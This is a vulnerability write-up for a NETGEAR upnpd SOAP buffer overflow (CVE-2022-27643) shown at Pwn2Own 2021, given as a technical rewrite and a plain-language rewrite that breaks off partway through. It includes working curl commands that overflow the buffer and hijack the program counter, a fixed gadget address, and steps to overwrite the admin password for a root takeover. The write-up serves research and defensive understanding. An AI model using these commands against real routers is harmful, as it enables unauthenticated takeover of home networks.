CVE-2022-27643 - NETGEAR R6700v3 upnpd Buffer Overflow Remote Code Execution Vulnerability
A buffer overflow in the NETGEAR upnpd SOAP handler allows an attacker to overwrite a function pointer in the heap and a global password variable, leading to remote code execution and full device control. The exploit was demonstrated at Pwn2Own Austin 2021 against a R6700v3 on the LAN side.
A remote pre-authentication buffer overflow vulnerability was identified in the Universal Plug and Play daemon (upnpd) shipped and enabled by default in multiple NETGEAR products. This vulnerability was used to successfully exploit a NETGEAR R6700v3 on the Local Area Network (LAN) side of the router during the Austin…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
NETGEAR ships a Universal Plug and Play daemon, upnpd, that is enabled by default on a number of its routers and DSL gateways. The daemon listens on TCP port 5000 for HTTP requests and on TCP port 5555 for HTTPS requests. A POST request to the /soap/server_sa endpoint is handled by the function at virtual address (VA) 0x0003C784, which parses SOAP requests, including the ParentalControl service used to authenticate a client and update the admin password.
The vulnerability described here is a remote pre-authentication buffer overflow in that daemon. It was used to exploit a NETGEAR R6700v3 from the LAN side of the router during the Austin pwn2own competition in November 2021. The affected models listed in the report are: D6220, D6400, D7000v2, EX3700, EX3800, EX6120, EX6130, R7100LG, R6400, R6400v2, R6700v3, R6900P, R7000, R7000P, R7850, R8000, R8500, RS400, WNDR3400v3, WNR3500Lv2, XR300 and DC112A. The NETGEAR advisory (PSV-2021-0323) and the Zero Day Initiative advisory (ZDI-22-519) carry the details.
Setup
The analysis uses the firmware image R6700v3-V1.0.4.120_10.0.91.zip from the NETGEAR support site. The image contains a Squashfs filesystem, extracted with binwalk:
unzip R6700v3-V1.0.4.120_10.0.91.zip
binwalk -e R6700v3-V1.0.4.120_10.0.91.chk
This produces a squashfs-root folder holding the files discussed below.
For debugging, a statically linked GDB server is copied onto a USB memory stick inserted into the R6700v3. A telnet session to the device is established with the telnetenable.py script, and the GDB server is attached to the running upnpd process:
# /tmp/mnt/usb0/part1/gdbserver-7.7.1-armel-v1 --attach [redacted]:4444 PID_OF_UPNPD
The development machine then connects to that remote GDB server with the extracted binary loaded:
$ gdb-multiarch ./squashfs-root/usr/sbin/upnpd
(gdb) target remote [redacted]:4444
The target runs a Linux [redacted] kernel on ARM. The kernel is configured with randomize_va_space = 1, which randomises the process stack and shared libraries but not the main binary or the process heap. The upnpd binary is not built as a position independent executable (PIE), so its .bss section sits at a fixed address, and the process heap, which services malloc allocations, is directly adjacent to it.
Finding it
The handler at 0x0003C784 looks for a SOAPAction header. When the header value is urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate, the XML body of the POST request is parsed. The parsing code searches for a NewMACAddress element and copies its value into a static buffer:
request_soapaction = stristr(buffer, "SOAPAction:");
// ...
v71 = stristr(request_soapaction + 11, "NewMACAddress");
if (v71 != 0) {
v72 = stristr(request_soapaction + 11, "NewMACAddress xsi:type=\"xsd:string\">");
if (v72 == 0) {
begin = v71 + 14;
} else {
begin = v71 + 36;
}
strncpy(&GLOBAL_NewMACAddress, "", 19);
end = stristr(request_soapaction + 11, "</NewMACAddress>");
if (end != 0) {
strncpy(&GLOBAL_NewMACAddress, "", 19);
strncpy(&GLOBAL_NewMACAddress, begin, end - begin);
GLOBAL_NewMACAddress[end - begin] = 0;
log(3, "NewMACAddress = %s\n", &GLOBAL_NewMACAddress);
}
}
Any NewMACAddress value longer than 20 bytes overflows GLOBAL_NewMACAddress and writes attacker-controlled data into adjacent memory. The subsequent GLOBAL_NewMACAddress[end - begin] = 0 also writes a null byte at an attacker-chosen offset.
The variable lives in the binary's .bss section, so the overflow reaches neighbouring .bss variables and, if it is mapped writable, the memory adjacent to .bss:
.bss:0x000DB00C GLOBAL_NewMACAddress:
.bss:0x000DB00C db 20 dup(??)
.bss:0x000DB020 data_0xDB020:
.bss:0x000DB020 db 4 dup(??)
.bss:0x000DB024 GLOBAL_new_http_passwd:
.bss:0x000DB024 db 132 dup(??)
.bss:0x000DB0A8 data_0xDB0A8:
.bss:0x000DB0A8 db 20 dup(??)
.bss:0x000DB0BC data_0xDB0BC:
.bss:0x000DB0BC db 20 dup(??)
.bss:0x000DB0D0 data_0xDB0D0:
.bss:0x000DB0D0 db 2048 dup(??)
.bss:0x000DB8D0 data_0xDB8D0:
.bss:0x000DB8D0 db 4 dup(??)
.bss:0x000DB8D4 data_0xDB8D4:
.bss:0x000DB8D4 db 4 dup(??)
.bss:0x000DB8D8 data_0xDB8D8:
.bss:0x000DB8D8 db 20 dup(??)
Immediately after the overflowed buffer sits GLOBAL_new_http_passwd, a variable that holds the value later written to the router's http_passwd NVRAM entry. That adjacency is what makes the overflow useful for more than a crash.
Exploitation
The plan has four steps:
- Use the overflow to overwrite a function pointer in heap memory with an attacker-controlled value.
- Use the overflow a second time to overwrite the
.bssvariable that holds the password destined for thehttp_passwdNVRAM entry. - Force
upnpdto call the overwritten function pointer, redirecting execution to a sequence of instructions that setshttp_passwd. - Log into the admin portal with the attacker-chosen password and take full control of the device.
Step 1: Program counter control
Because the heap is adjacent to the binary and is not randomised, early malloc allocations can be assumed to land at the same addresses on every run. They happen before upnpd accepts external traffic, so they always occur in the same order. Of interest is how the binary initialises OpenSSL (version 1.0.2h): main() calls a function at VA 0x00025034, which calls SSL_load_error_strings(). That call performs many heap allocations to build a hash map of strings used for human-readable error messages. A core structure in that map is _LHASH, which contains a hash function pointer:
typedef struct lhash_st {
LHASH_NODE** b;
LHASH_COMP_FN_TYPE comp;
LHASH_HASH_FN_TYPE hash;
unsigned int num_nodes;
unsigned int num_alloc_nodes;
unsigned int p;
unsigned int pmax;
unsigned long up_load; /* load times 256 */
unsigned long down_load; /* load times 256 */
unsigned long num_items;
unsigned long num_expands;
unsigned long num_expand_reallocs;
unsigned long num_contracts;
unsigned long num_contract_reallocs;
unsigned long num_hash_calls;
unsigned long num_comp_calls;
unsigned long num_insert;
unsigned long num_replace;
unsigned long num_delete;
unsigned long num_no_delete;
unsigned long num_retrieve;
unsigned long num_retrieve_miss;
unsigned long num_hash_comps;
int error;
} _LHASH;
Debugging shows that a _LHASH structure is always allocated at a fixed offset of 7500 from the start of GLOBAL_NewMACAddress. The overflow can therefore reliably overwrite the hash function pointer.
The next question is how to make the code call it. Following the OpenSSL source, ERR_print_errors_fp calls ERR_print_errors_cb, which calls ERR_error_string_n, which calls ERR_lib_error_string, which calls int_err_get_item, which calls lh_ERR_STRING_DATA_retrieve, a macro for lh_retrieve, which calls getrn, which finally calls the hash function pointer from the _LHASH structure on the heap:
// .\openssl-1.0.2h\crypto\err\err_prn.c
void ERR_print_errors_fp(FILE* fp)
{
ERR_print_errors_cb(print_fp, fp);
}
void ERR_print_errors_cb(int (*cb) (const char* str, size_t len, void* u), void* u)
{
unsigned long l;
char buf[256];
char buf2[4096];
const char* file, * data;
int line, flags;
unsigned long es;
CRYPTO_THREADID cur;
CRYPTO_THREADID_current(&cur);
es = CRYPTO_THREADID_hash(&cur);
while ((l = ERR_get_error_line_data(&file, &line, &data, &flags)) != 0) {
ERR_error_string_n(l, buf, sizeof buf);
BIO_snprintf(buf2, sizeof(buf2), "%lu:%s:%s:%d:%s\n", es, buf, file, line, (flags & ERR_TXT_STRING) ? data : "");
if (cb(buf2, strlen(buf2), u) <= 0)
break; /* abort outputting the error report */
}
}
//\openssl - 1.0.2h\crypto\err\err.c
void ERR_error_string_n(unsigned long e, char* buf, size_t len)
{
char lsbuf[64], fsbuf[64], rsbuf[64];
const char* ls, * fs, * rs;
unsigned long l, f, r;
l = ERR_GET_LIB(e);
f = ERR_GET_FUNC(e);
r = ERR_GET_REASON(e);
ls = ERR_lib_error_string(e);
// ...
}
const char* ERR_lib_error_string(unsigned long e)
{
ERR_STRING_DATA d, * p;
unsigned long l;
err_fns_check();
l = ERR_GET_LIB(e);
d.error = ERR_PACK(l, 0, 0);
p = ERRFN(err_get_item) (&d);// int_err_get_item
return ((p == NULL) ? NULL : p->string);
}
static ERR_STRING_DATA * int_err_get_item(const ERR_STRING_DATA * d)
{
ERR_STRING_DATA* p;
LHASH_OF(ERR_STRING_DATA)* hash;
err_fns_check();
hash = ERRFN(err_get) (0);
if (!hash)
return NULL;
CRYPTO_r_lock(CRYPTO_LOCK_ERR);
p = lh_ERR_STRING_DATA_retrieve(hash, d);
CRYPTO_r_unlock(CRYPTO_LOCK_ERR);
return p;
}
#define lh_ERR_STRING_DATA_retrieve(lh,inst) LHM_lh_retrieve(ERR_STRING_DATA,lh,inst)
#define LHM_lh_retrieve(type, lh, inst) \
((type *)lh_retrieve(CHECKED_LHASH_OF(type, lh), \
CHECKED_PTR_OF(type, inst)))
// .\openssl-1.0.2h\crypto\lhash\lhash.c:241
void* lh_retrieve(_LHASH * lh, const void* data)
{
unsigned long hash;
LHASH_NODE** rn;
void* ret;
lh->error = 0;
rn = getrn(lh, data, &hash);
if (*rn == NULL) {
lh->num_retrieve_miss++;
return (NULL);
} else {
ret = (*rn)->data;
lh->num_retrieve++;
}
return (ret);
}
// .\openssl-1.0.2h\crypto\lhash\lhash.c:390
static LHASH_NODE** getrn(_LHASH* lh, const void* data, unsigned long* rhash)
{
LHASH_NODE** ret, * n1;
unsigned long hash, nn;
LHASH_COMP_FN_TYPE cf;
hash = (*(lh->hash))(data);
A call to ERR_print_errors_fp exists in upnpd!upnp_main, reached when an HTTPS connection to port 5555 fails the TLS/SSL handshake during SSL_accept:
// upnpd!func_0x1B630+0x400
log(2, "%s(%d): port=%d\r\n", "upnp_main", 1083, 5555);
client_socket = accept(data_0x66B24 + 0x8, &local_0x50, &local_0x30);
if (client_socket < 0) {
log(2, "\r\n%s(%d)Port %d socket accesp failed!!\r\n", "upnp_main", 1087, 5555);
// ...
} else {
ssl = SSL_new(data_0x9090C);
data_0x90910 = ssl;
SSL_set_fd(ssl, client_socket);
log(2, "%s(%d)before ssl accept, acceptfd is %d \n", "upnp_main", 1093, client_socket);
res = SSL_accept(data_0x90910);
SSL_get_error(data_0x90910, res);
if (res == 0 || res < 0) {
ERR_print_errors_fp(__bss_start__);
So an invalid HTTPS connection to port 5555 after the overflow gives control of the program counter. Two curl commands demonstrate it: the first performs the overflow, the second triggers the call to the overwritten function pointer.
curl http://[redacted]:5000/soap/server_sa -X POST -H "SOAPAction: \"urn:NETGEARROUTER:service:ParentalControl:1#Authenticate\"" --data "<NewMACAddress>$(printf 'A%.0s' {1..7500})BBBBCCCCDDDD</NewMACAddress>"
curl http://[redacted]:5555/
The first request sends a NewMACAddress value of 7500 A characters followed by BBBBCCCCDDDD, reaching the _LHASH structure that sits at offset 7500 from GLOBAL_NewMACAddress. The second request opens a plain HTTP connection to the HTTPS port, the handshake fails, and the error path calls the overwritten pointer.
With GDB attached, the crash shows the four D characters in the program counter:
Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb) i r
r0 0xbed5ca78 3201682040
r1 0xbed5ca78 3201682040
r2 0x0 0
r3 0x44444444 1145324612
r4 0x40312e58 1076964952
r5 0xdcd58 904536
r6 0x6b0c 27404
r7 0xbed5ca78 3201682040
r8 0xbed5ca78 3201682040
r9 0x100 256
r10 0xbed5dcb8 3201686712
r11 0x402811a0 1076367776
r12 0x0 0
sp 0xbed5ca40 0xbed5ca40
lr 0x4027c74c 1076348748
pc 0x44444444 0x44444444
cpsr 0x60000010 1610612752
(gdb) x/8x $r5
0xdcd58: 0x42424242 0x43434343 0x44444444 0x00000500
0xdcd68: 0x00000800 0x00000137 0x00000400 0x00000200
(gdb) bt
#0 0x44444444 in ?? ()
#1 0x4027c74c in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/8i 0x4027c74c-0x20
0x4027c72c: mov r2, #0
0x4027c730: push {r3, r4, r5, r6, r7, r8, r10, lr}
0x4027c734: mov r5, r0
0x4027c738: ldr r3, [r0, #8]
0x4027c73c: mov r8, r1
0x4027c740: str r2, [r0, #92] ; 0x5c
0x4027c744: mov r0, r1
0x4027c748: blx r3
The return address in the backtrace, 0x4027c74c, is the instruction after a blx r3 that transfers control to the attacker-controlled value. The report notes this originates from /lib/libcrypto.so.1.0.0!lh_retrieve, with the compiler having chosen to inline getrn.
Step 2: Choosing the target gadget
With execution control, the next step is to decide where to jump. Since GLOBAL_NewMACAddress is adjacent to GLOBAL_new_http_passwd, the variable used to change the admin password, the report examines how that variable is consumed. In upnpd!func_0x289C8+0x10, the variable is passed to acosNvramConfig_set to set http_passwd in the router's NVRAM configuration:
// upnpd!func_0x289C8+0x10
if (p1 < 7) {
if (p1 == 1) {
acosNvramConfig_get("http_passwd");
log(3, "old (%s), http (%s)\n", &data_0xDA318, __s2);
v1 = strcmp(&data_0xDA318, __s2);
if (v1 != 0) {
log(3, "%s:%d\n", "sa_updateAdminPassword", 8832);
return 20001;
}
log(3, "%s:%d\n", "sa_updateAdminPassword", 8829);
acosNvramConfig_set("http_passwd", &GLOBAL_new_http_passwd);
return 0;
}
The disassembly of the call, starting at VA 0x00028A74, loads the two arguments into r0 and r1 before branching to acosNvramConfig_set:
.text:0x00028A74 4C019FE5 ldr r0, [data_0x28BC8] ; "http_passwd"
.text:0x00028A78 5C119FE5 ldr r1, [data_0x28BDC] ; GLOBAL_new_http_passwd
.text:0x00028A7C CB8AFFEB bl acosNvramConfig_set
Because upnpd is not PIE, 0x00028A74 is a fixed address. Overwriting the _LHASH::hash pointer with that value, then overflowing a second time to place a chosen password in GLOBAL_new_http_passwd, and finally making an invalid HTTPS connection to port 5555, redirects execution to the code that writes the password into NVRAM.
The vulnerable function at upnpd!func_0x3C784 null-terminates GLOBAL_NewMACAddress during the overflow, which allows a value containing a null byte to be written. This matters because the target address 0x00028A74 itself contains a null byte, and on the little-endian device that null is the terminator character written by the overflow.
Step 3: Taking over the device
With http_passwd set to an attacker-controlled value, the attacker can log into the router's web interface. At that point the device is fully controlled, and telnetenable.py can be used to obtain a root shell if one is needed.
Root cause
The destination is a global in .bss, so the write corrupts adjacent globals, including GLOBAL_new_http_passwd, and continues into the heap that follows the binary in memory.
Several properties of the build and platform turn a memory corruption into reliable code execution:
upnpdis not built as PIE, so.bssand the code are at fixed addresses.- The kernel uses
randomize_va_space = 1, which leaves the main binary and the heap unrandomised. - The heap is mapped directly after the binary, and early OpenSSL allocations, including the
_LHASHstructure, occur in a fixed order before any external traffic is accepted, so their offsets are stable. - The error path in
upnp_maincallsERR_print_errors_fpon a failed TLS handshake, which reaches the overwrittenhashfunction pointer through the OpenSSL error-string lookup chain. - The overflow's null terminator lets the attacker write a value containing a null byte, which is needed for the chosen gadget address.
Impact
An unauthenticated attacker on the LAN side of the router can overflow the buffer and, as demonstrated against the R6700v3, redirect execution to set the admin password to a value of their choosing. Logging in with that password gives full control of the device, and a root shell can be obtained with telnetenable.py. The same daemon is shipped and enabled by default on the 22 models listed above, so the exposure is not limited to the R6700v3. The report describes the exploit as performed from the LAN side during pwn2own; it does not state whether the same path is reachable from the WAN side.
Fix
The report does not describe the vendor's patch. NETGEAR published the issue as PSV-2021-0323, and the ZDI advisory is ZDI-22-519;
Variants to test
- Other SOAP services on the same endpoint. Send POST requests to
/soap/server_sawithSOAPActionvalues for other services and look for handlers that copy XML element values into fixed-size globals. A positive result is a crash or corrupted adjacent state when a value longer than the destination is supplied. - Other length-confused copies. Search the
upnpdbinary forstrncpycalls where the length argument derives from the parsed request rather than fromsizeofof the destination. A positive result is a controllable write past a global or stack buffer. - Heap adjacency assumptions. On other NETGEAR models, check whether the binary is PIE and whether
randomize_va_spaceleaves the heap unrandomised. A positive result is a stable offset between an overflowed global and a heap structure containing a function pointer. - Error-path triggers. Look for other code paths that call
ERR_print_errors_fpor otherwise reachlh_retrieveafter a failed TLS handshake. A positive result is control of the program counter through an overwritten_LHASH::hashpointer. - Password globals. Check whether other handlers write attacker-influenced data into globals that are later passed to
acosNvramConfig_set. A positive result is a change to an NVRAM setting such ashttp_passwdwithout authentication.
What happened, in plain words
A security researcher found a bug in the software that runs on many NETGEAR home routers. The bug lets someone who is already connected to the router's network (for example, on the home Wi-Fi or plugged into a LAN port) send a specially crafted message that crashes the router's software in a very controlled way. The researcher then showed how to turn that crash into full control of the router: they could change the router's admin password without knowing the old one, log in to the web admin page, and from there get a root shell (the highest level of access on the device).
The bug lives in a program called upnpd, which is short for the Universal Plug and Play daemon. A daemon is a program that runs quietly in the background, without a window, waiting for requests. UPnP is a feature that lets devices on a home network find each other and talk without setup, for example a games console opening a port on the router or a phone streaming to a TV. Because UPnP is meant to be convenient, it is switched on by default on many routers, and it accepts requests from other machines on the network.
The researcher demonstrated the attack at a hacking contest called pwn2own in Austin in November 2021, against a NETGEAR R6700v3 router, attacking from the LAN side (the inside of the home network, not the internet side).
The affected models listed in the report are: D6220, D6400, D7000v2, EX3700, EX3800, EX6120, EX6130, R7100LG, R6400, R6400v2, R6700v3, R6900P, R7000, R7000P, R7850, R8000, R8500, RS400, WNDR3400v3, WNR3500Lv2, XR300 and DC112A. The NETGEAR advisory is PSV-2021-0323 and the Zero Day Initiative advisory is ZDI-22-519.
Setting up a lab
To study the bug, the researcher downloaded the router's firmware. Firmware is the software image that is flashed onto the device; it is a single file that contains the operating system and all the programs, including upnpd. The image used here is R6700v3-V1.0.4.120_10.0.91.zip from the NETGEAR support site.
The image contains a Squashfs filesystem. Squashfs is a compressed, read-only filesystem format commonly used in embedded devices, a bit like a zip file that the router mounts as its disk. To look inside it, the researcher used a tool called binwalk, which scans a firmware file, spots embedded filesystems and extracts them:
unzip R6700v3-V1.0.4.120_10.0.91.zip
binwalk -e R6700v3-V1.0.4.120_10.0.91.chk
Line by line:
unzip R6700v3-V1.0.4.120_10.0.91.zipunpacks the downloaded zip archive, which gives you the actual firmware file inside it.binwalk -e R6700v3-V1.0.4.120_10.0.91.chkruns binwalk with the-eoption, which means extract. It finds the Squashfs filesystem inside the.chkfirmware file and unpacks it.
After this, a folder called squashfs-root appears. It holds the router's files, including the upnpd program, laid out the way they sit on the device.
Next, the researcher needed a way to watch the program while it runs. That is what a debugger does: it lets you pause a running program, look at its memory and registers, and step through instructions. The tool used is GDB, and because the router's processor is an ARM chip (a different kind of processor from a typical laptop), a special build called gdb-multiarch is used on the development machine, plus a small GDB server program that runs on the router itself.
The GDB server is copied onto a USB memory stick, the stick is plugged into the router, and a telnet session is opened to the router. Telnet is an old, simple way to get a text command line on a remote machine. The telnetenable.py script is used to switch that telnet access on. Then the GDB server is attached to the running upnpd process:
# /tmp/mnt/usb0/part1/gdbserver-7.7.1-armel-v1 --attach [redacted]:4444 PID_OF_UPNPD
Line by line:
#at the start is just the shell prompt shown in the report, meaning this is a command typed on the router./tmp/mnt/usb0/part1/gdbserver-7.7.1-armel-v1is the GDB server program stored on the USB stick, which the router mounted under/tmp/mnt/usb0/part1.--attach [redacted]:4444tells it to attach to an already running process and to listen for debugger connections on address[redacted], port4444.PID_OF_UPNPDis a placeholder for the process ID of the runningupnpd, a number the operating system uses to identify each running program.
Back on the development machine, GDB is started with the extracted upnpd binary loaded, so it knows the names of functions and variables, and then told to connect to the remote GDB server:
$ gdb-multiarch ./squashfs-root/usr/sbin/upnpd
(gdb) target remote [redacted]:4444
Line by line:
$is the shell prompt on the development machine.gdb-multiarch ./squashfs-root/usr/sbin/upnpdstarts the debugger and loads theupnpdfile from the extracted firmware, so the debugger can match memory addresses to function and variable names.(gdb)is the debugger's own prompt.target remote [redacted]:4444connects to the GDB server on the router, so commands typed here control the program running on the device.
Some background on the device matters for the rest of the story. The router runs a Linux kernel version 2.6.36.4 on an ARM processor. The kernel is configured with randomize_va_space = 1. That setting controls address space layout randomisation (ASLR), a defence that shuffles where things sit in memory each time a program starts, so an attacker cannot hard-code addresses. A value of 1 means the stack and shared libraries are shuffled, but the main program and its heap are not. The heap is the region of memory a program uses for data it creates while running, for example when it calls malloc, a standard function that hands out chunks of memory on request.
The upnpd binary is also not built as a position independent executable (PIE). PIE is a build option that makes a program able to load at a random address; without it, the program always loads at the same place. As a result, the .bss section sits at a fixed address. The .bss section is the part of a program's memory that holds global variables which start out empty or zero. And directly next to .bss in memory sits the process heap. Both facts, fixed addresses and a predictable neighbour, are what make the attack reliable.
Finding the bug
The upnpd program listens on TCP port 5000 for HTTP requests and on TCP port 5555 for HTTPS requests. A port is like a numbered door on a machine; different services listen on different doors. HTTP is the ordinary web protocol, and HTTPS is the same protocol wrapped in encryption (TLS/SSL).
A POST request to the /soap/server_sa endpoint is handled by the function at virtual address (VA) 0x0003C784. An endpoint is a specific URL path that a service responds to, and a POST request is the HTTP method used to send data to a server (as opposed to GET, which asks for a page). SOAP is an older style of web API where the request and response bodies are XML documents, and XML is a text format that uses tags like <name>value</name> to label data. The handler looks for a SOAPAction header.
A header is extra information sent alongside an HTTP request, like a label on an envelope. When the header value is urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate, the XML body of the POST request is parsed. Parsing means reading the text and pulling out the pieces the program cares about. The parsing code searches for a NewMACAddress element and copies its value into a static buffer. A buffer is a fixed-size area of memory reserved to hold data, and a static buffer is one that lives for the whole life of the program, not just one function call.
request_soapaction = stristr(buffer, "SOAPAction:");
// ...
v71 = stristr(request_soapaction + 11, "NewMACAddress");
if (v71 != 0) {
v72 = stristr(request_soapaction + 11, "NewMACAddress xsi:type=\"xsd:string\">");
if (v72 == 0) {
begin = v71 + 14;
} else {
begin = v71 + 36;
}
strncpy(&GLOBAL_NewMACAddress, "", 19);
end = stristr(request_soapaction + 11, "</NewMACAddress>");
if (end != 0) {
strncpy(&GLOBAL_NewMACAddress, "", 19);
strncpy(&GLOBAL_NewMACAddress, begin, end - begin);
GLOBAL_NewMACAddress[end - begin] = 0;
log(3, "NewMACAddress = %s\n", &GLOBAL_NewMACAddress);
}
}
Line by line:
request_soapaction = stristr(buffer, "SOAPAction:");finds the textSOAPAction:inside the request and returns a pointer to it. A pointer is just a memory address, a number that says where in memory something starts.stristris a case-insensitive text search.v71 = stristr(request_soapaction + 11, "NewMACAddress");searches for the textNewMACAddressstarting 11 characters after theSOAPAction:match. The+ 11skips past the header name itself.if (v71 != 0) {means: if the search found something (a null pointer, written0, means not found).v72 = stristr(request_soapaction + 11, "NewMACAddress xsi:type=\"xsd:string\">");checks whether the tag has an extra attribute on it, which changes how many characters to skip.if (v72 == 0) { begin = v71 + 14; } else { begin = v71 + 36; }setsbeginto the address where the actual value starts, skipping either the short tag or the longer tag with the attribute.strncpy(&GLOBAL_NewMACAddress, "", 19);clears the global buffer by copying 19 empty bytes into it.strncpyis a standard function that copies a fixed number of bytes from one place to another.end = stristr(request_soapaction + 11, "</NewMACAddress>");finds the closing tag, which marks where the value ends.if (end != 0) {means: if the closing tag was found.strncpy(&GLOBAL_NewMACAddress, "", 19);clears the buffer again.strncpy(&GLOBAL_NewMACAddress, begin, end - begin);copies the value frombegininto the global buffer, usingend - beginas the number of bytes. That number is the length of whatever the attacker sent.GLOBAL_NewMACAddress[end - begin] = 0;writes a zero byte (a null terminator) just after the copied text, which is how C marks the end of a string.log(3, "NewMACAddress = %s\n", &GLOBAL_NewMACAddress);writes the value to a log file.
This is a classic buffer overflow: the copy keeps writing past the end of the reserved area and into whatever memory comes next. Any NewMACAddress value longer than 20 bytes overflows GLOBAL_NewMACAddress and writes attacker-controlled data into adjacent memory. The subsequent GLOBAL_NewMACAddress[end - begin] = 0 also writes a null byte at an attacker-chosen offset.
A simple comparison: imagine a row of labelled pigeonholes, each with a fixed size, and a rule that says "put the letter in the first hole, then keep going for as many letters as the letter contains". If the letter is longer than the hole, the extra pages spill into the next pigeonholes and overwrite whatever was stored there. That is exactly what happens here, except the pigeonholes are memory locations holding other variables.
The variable lives in the binary's .bss section, so the overflow reaches neighbouring .bss variables and, if it is mapped writable, the memory adjacent to .bss:
.bss:0x000DB00C GLOBAL_NewMACAddress:
.bss:0x000DB00C db 20 dup(??)
.bss:0x000DB020 data_0xDB020:
.bss:0x000DB020 db 4 dup(??)
.bss:0x000DB024 GLOBAL_new_http_passwd:
.bss:0x000DB024 db 132 dup(??)
.bss:0x000DB0A8 data_0xDB0A8:
.bss:0x000DB0A8 db 20 dup(??)
.bss:0x000DB0BC data_0xDB0BC:
.bss:0x000DB0BC db 20 dup(??)
.bss:0x000DB0D0 data_0xDB0D0:
.bss:0x000DB0D0 db 2048 dup(??)
.bss:0x000DB8D0 data_0xDB8D0:
.bss:0x000DB8D0 db 4 dup(??)
.bss:0x000DB8D4 data_0xDB8D4:
.bss:0x000DB8D4 db 4 dup(??)
.bss:0x000DB8D8 data_0xDB8D8:
.bss:0x000DB8D8 db 20 dup(??)
Line by line:
.bss:0x000DB00C GLOBAL_NewMACAddress:names the variable and gives its address,0x000DB00C. The0xprefix means the number is written in hexadecimal, a base-16 way of writing numbers that programmers use for memory addresses.db 20 dup(??)means 20 bytes reserved, contents unknown.dbmeans define byte, anddup(??)means repeat an unknown value.- The next lines list the variables that sit right after it in memory, each with its own address and size.
data_0xDB020is 4 bytes,GLOBAL_new_http_passwdis 132 bytes, and so on.
Immediately after the overflowed buffer sits GLOBAL_new_http_passwd, a variable that holds the value later written to the router's http_passwd NVRAM entry. NVRAM is a small persistent storage area on the router that keeps settings across reboots, and http_passwd is the setting that holds the admin password for the web interface. That adjacency is what makes the overflow useful for more than a crash: by writing past the end of the MAC address buffer, the attacker can also write into the password variable.
Exploitation
The plan has four steps:
- Use the overflow to overwrite a function pointer in heap memory with an attacker-controlled value.
- Use the overflow a second time to overwrite the
.bssvariable that holds the password destined for thehttp_passwdNVRAM entry. - Force
upnpdto call the overwritten function pointer, redirecting execution to a sequence of instructions that setshttp_passwd. - Log into the admin portal with the attacker-chosen password and take full control of the device.
A function pointer is a variable that holds the address of a function, so the program can decide at runtime which function to call. If an attacker can change that variable, the program will jump wherever the attacker says. That is the heart of this exploit.
Step 1: Program counter control
The program counter (PC) is the register that holds the address of the next instruction the processor will run. A register is a tiny, very fast storage slot inside the processor. If you can control the PC, you control what the program does next.
Because the heap is adjacent to the binary and is not randomised, early malloc allocations can be assumed to land at the same addresses on every run. They happen before upnpd accepts external traffic, so they always occur in the same order. Of interest is how the binary initialises OpenSSL (version 1.0.2h). OpenSSL is the library that implements HTTPS encryption. main() calls a function at VA 0x00025034, which calls SSL_load_error_strings(). That call performs many heap allocations to build a hash map of strings used for human-readable error messages. A hash map is a data structure that stores key-value pairs and finds a value quickly from its key, like a phone book. A core structure in that map is _LHASH, which contains a hash function pointer:
typedef struct lhash_st {
LHASH_NODE** b;
LHASH_COMP_FN_TYPE comp;
LHASH_HASH_FN_TYPE hash;
unsigned int num_nodes;
unsigned int num_alloc_nodes;
unsigned int p;
unsigned int pmax;
unsigned long up_load; /* load times 256 */
unsigned long down_load; /* load times 256 */
unsigned long num_items;
unsigned long num_expands;
unsigned long num_expand_reallocs;
unsigned long num_contracts;
unsigned long num_contract_reallocs;
unsigned long num_hash_calls;
unsigned long num_comp_calls;
unsigned long num_insert;
unsigned long num_replace;
unsigned long num_delete;
unsigned long num_no_delete;
unsigned long num_retrieve;
unsigned long num_retrieve_miss;
unsigned long num_hash_comps;
int error;
} _LHASH;
Line by line:
typedef struct lhash_st {starts the definition of a structure, a way of grouping several variables together under one name.typedefgives the structure a nickname, here_LHASH.LHASH_NODE** b;is a pointer to a pointer to a node, the table that holds the entries.LHASH_COMP_FN_TYPE comp;is a function pointer used to compare two entries.LHASH_HASH_FN_TYPE hash;is the function pointer used to compute a hash value from a key. This is the one the attack targets.- The
unsigned intandunsigned longlines are counters and tuning values used by the hash map, such as how many nodes it has and how many times it has been resized. int error;is a status field.} _LHASH;closes the definition.
Debugging shows that a _LHASH structure is always allocated at a fixed offset of 7500 from the start of GLOBAL_NewMACAddress. An offset is a distance in bytes. Because the heap is not randomised and the allocations happen in a fixed order, that distance is the same every time the router boots. The overflow can therefore reliably overwrite the hash function pointer: send 7500 bytes to reach the structure, then the bytes that land on the pointer.
The next question is how to make the code call it. Following the OpenSSL source, ERR_print_errors_fp calls ERR_print_errors_cb, which calls ERR_error_string_n, which calls ERR_lib_error_string, which calls int_err_get_item, which calls lh_ERR_STRING_DATA_retrieve, a macro for lh_retrieve, which calls getrn, which finally calls the hash function pointer from the _LHASH structure on the heap. A macro is a piece of text that the compiler swaps in for a name before building the program, so lh_ERR_STRING_DATA_retrieve is really just another name for lh_retrieve.
// .\openssl-1.0.2h\crypto\err\err_prn.c
void ERR_print_errors_fp(FILE* fp)
{
ERR_print_errors_cb(print_fp, fp);
}
void ERR_print_errors_cb(int (*cb) (const char* str, size_t len, void* u), void* u)
{
unsigned long l;
char buf[256];
char buf2[4096];
const char* file, * data;
int line, flags;
unsigned long es;
CRYPTO_THREADID cur;
CRYPTO_THREADID_current(&cur);
es = CRYPTO_THREADID_hash(&cur);
while ((l = ERR_get_error_line_data(&file, &line, &data, &flags)) != 0) {
ERR_error_string_n(l, buf, sizeof buf);
BIO_snprintf(buf2, sizeof(buf2), "%lu:%s:%s:%d:%s\n", es, buf, file, line, (flags & ERR_TXT_STRING) ? data : "");
if (cb(buf2, strlen(buf2), u) <= 0)
break; /* abort outputting the error report */
}
}
//\openssl - 1.0.2h\crypto\err\err.c
void ERR_error_string_n(unsigned long e, char* buf, size_t len)
{
char lsbuf[64], fsbuf[64], rsbuf[64];
const char* ls, * fs, * rs;
unsigned long l, f, r;
l = ERR_GET_LIB(e);
f = ERR_GET_FUNC(e);
r = ERR_GET_REASON(e);
ls = ERR_lib_error_string(e);
// ...
}
const char* ERR_lib_error_string(unsigned long e)
{
ERR_STRING_DATA d, * p;
unsigned long l;
err_fns_check();
l = ERR_GET_LIB(e);
d.error = ERR_PACK(l, 0, 0);
p = ERRFN(err_get_item) (&d);// int_err_get_item
return ((p == NULL) ? NULL : p->string);
}
